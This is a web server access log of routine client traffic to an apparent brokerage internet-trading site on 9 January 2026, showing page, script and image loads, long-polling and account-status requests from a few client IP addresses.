[09/Jan/2026:10:15:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925198230 HTTP/1.1" -
[09/Jan/2026:10:15:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925186650 HTTP/1.1" -
[09/Jan/2026:10:15:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:10:15:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:10:15:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925187389 HTTP/1.1" -
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767925190235 HTTP/1.1" 3188
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925204222 HTTP/1.1" -
[09/Jan/2026:10:15:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925192993 HTTP/1.1" -
[09/Jan/2026:10:15:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1540
[09/Jan/2026:10:15:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925192417 HTTP/1.1" -
[09/Jan/2026:10:15:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:15:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925198086 HTTP/1.1" -
[09/Jan/2026:10:15:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925210230 HTTP/1.1" -
[09/Jan/2026:10:15:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925197452 HTTP/1.1" -
[09/Jan/2026:10:15:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925203168 HTTP/1.1" -
